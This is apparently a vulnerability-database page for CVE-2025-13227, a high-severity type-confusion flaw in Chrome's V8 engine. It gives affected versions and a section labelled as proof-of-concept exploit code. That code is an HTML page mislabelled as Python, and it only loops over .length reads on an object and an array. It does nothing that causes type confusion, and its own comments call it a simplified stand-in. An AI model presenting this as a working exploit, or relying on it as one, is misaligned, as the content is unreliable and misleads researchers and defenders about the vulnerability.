Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers with V8 engine prior to 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13227 PoC - Type Confusion in V8 -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-13227 PoC</title>
</head>
<body>
<h1>Chrome V8 Type Confusion PoC</h1>
<p>This is a demonstration of the type confusion vulnerability in V8 engine.</p>
<script>
// PoC for CVE-2025-13227
// Target: Chrome < 142.0.7444.59
function triggerTypeConfusion() {
// Create objects that can trigger type confusion
const obj1 = {a: 1, b: 2};
const obj2 = [1, 2, 3];
// Trigger type confusion through optimized code path
// This is a simplified representation
for (let i = 0; i < 10000; i++) {
// Force JIT compilation
const result = obj1.length; // undefined for object
const arrLen = obj2.length; // 3 for array
}
// Exploit type confusion
// In real exploit, this would cause type confusion
return obj1.length === obj2.length;
}
try {
triggerTypeConfusion();
document.write('<p>PoC executed - Check for crash</p>');
} catch (e) {
document.write('<p>Error: ' + e.message + '</p>');
}
</script>
</body>
</html>